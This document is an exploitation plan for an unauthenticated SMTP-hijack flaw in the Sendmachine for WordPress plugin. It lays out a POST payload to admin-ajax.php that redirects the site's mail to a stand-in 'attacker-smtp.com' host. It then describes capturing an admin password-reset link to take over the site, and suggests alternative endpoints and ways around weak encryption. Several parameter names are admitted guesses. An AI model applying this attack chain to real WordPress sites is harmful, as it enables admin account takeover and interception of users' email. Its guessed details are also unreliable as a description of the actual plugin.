Sendmachine for WordPress <= 1.0.20 - Unauthenticated SMTP Hijack to Privilege Escalation via manage_admin_requests

This research plan outlines the process for exploiting CVE-2026-6235 in the Sendmachine for WordPress plugin.

1. Vulnerability Summary

The Sendmachine plugin (up to version 1.0.20) contains a missing authorization vulnerability in the manage_admin_requests function. This function is typically hooked to a global WordPress hook (such as admin_init or init). Because admin_init executes even for unauthenticated users when accessing admin-ajax.php or admin-post.php, and the function fails to check for user capabilities (e.g., current_user_can('manage_options')) or verify nonces, an unauthenticated attacker can trigger the settings-update logic. This allows the attacker to overwrite the site's SMTP configuration, redirecting all outbound emails to a server they control, which facilitates account takeover via password reset interception.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php or /wp-admin/admin-post.php (depending on hook registration).
• Vulnerable Action: The manage_admin_requests function (inferred to be registered via add_action('admin_init', 'manage_admin_requests')).
• Authentication: Unauthenticated (No login required).
• Preconditions: The plugin must be active.
• Payload Carrying Parameter: Likely a POST request containing specific keys like sm_host, sm_port, sm_username, sm_password, or a serialized settings array (to be confirmed via source code audit).

3. Code Flow Analysis

1. Entry Point: An HTTP request is made to an admin endpoint.
2. Hook Trigger: WordPress triggers the admin_init hook.
3. Vulnerable Call: The plugin's registered manage_admin_requests function is executed.
4. Lack of Guard: The function checks for the presence of a specific POST parameter (e.g., if ( isset( $_POST['sm_settings_save'] ) )) but does not perform:
   • current_user_can( 'manage_options' )
   • check_admin_referer() or wp_verify_nonce()
5. Sink: The function proceeds to update the WordPress options table using update_option(), specifically the keys associated with SMTP configuration.

4. Nonce Acquisition Strategy

Based on the "Missing Authorization" description for this specific CVE, it is highly probable that no nonce is verified in the vulnerable code path.

However, if a nonce is required:

1. Search: Search for wp_localize_script or wp_nonce_field in the plugin source to find where the nonce for settings management is generated.
2. Shortcode/Page: Identify if the plugin has an admin-facing page where settings are saved.
3. Extraction:
   • Create a page with a relevant shortcode if needed (though SMTP settings are usually in the admin dashboard).
   • If the nonce is only in the admin dashboard, and the vulnerability is truly "unauthenticated," it implies the wp_verify_nonce check is either missing or using the default -1 action.
   • Test: Attempt the exploit first without a nonce. If it fails, search for the nonce action string in the source: grep -r "wp_create_nonce" ..

5. Exploitation Strategy

Step 1: Identify Trigger Parameters

Audit the manage_admin_requests function to identify the POST parameters required to trigger an update.
Example (Inferred):

function manage_admin_requests() {
    if (isset($_POST['sm_action']) && $_POST['sm_action'] == 'save_settings') {
        // Vulnerable update logic
    }
}

Step 2: Overwrite SMTP Settings

Send a POST request to hijack the SMTP server. Point it to a listener (like MailHog or a collaborator server).

Request (Draft):

• Method: POST
• URL: http://[target]/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=manage_admin_requests&sm_action=save_settings&sm_smtp_host=attacker-smtp.com&sm_smtp_port=587&sm_smtp_username=attack&sm_smtp_password=attack&sm_smtp_auth=true&sm_from_email=admin@target.com
  

(Note: Actual parameter names like sm_smtp_host must be verified in the plugin source code.)

Step 3: Trigger Privilege Escalation

1. Initiate a password reset for the admin user via the WordPress login page (/wp-login.php?action=lostpassword).
2. The password reset email, containing the secret key, will be routed through the attacker's hijacked SMTP server.
3. Capture the reset link from the attacker-controlled SMTP logs.
4. Navigate to the link and reset the admin password.

6. Test Data Setup

1. Install and activate "Sendmachine for WordPress" version 1.0.20.
2. Ensure an administrator user exists (e.g., username: admin).
3. Configure a basic "legal" SMTP setting initially if the plugin requires it to initialize.

7. Expected Results

• The admin-ajax.php request should return a 200 OK or a redirect (302) to the settings page, indicating success.
• The WordPress option sm_settings (or similar) should reflect the attacker's SMTP host.
• The password reset email should arrive at the attacker's SMTP listener, not the intended recipient.

8. Verification Steps

After sending the exploit request, use WP-CLI to verify the state of the database:

# Check if SMTP settings were updated
wp option get sm_settings --format=json

# Alternatively, check individual option keys if stored separately
wp option get sm_smtp_host

9. Alternative Approaches

• Admin-Post: If admin-ajax.php doesn't trigger the hook, try /wp-admin/admin-post.php with the same payload.
• Direct Initialization: If the hook is init, the payload can be sent to the site homepage (/) as a POST request.
• Encryption Bypass: If the plugin expects encrypted credentials, look for the encryption key in the source; often these plugins use a static or weak key stored in the options table.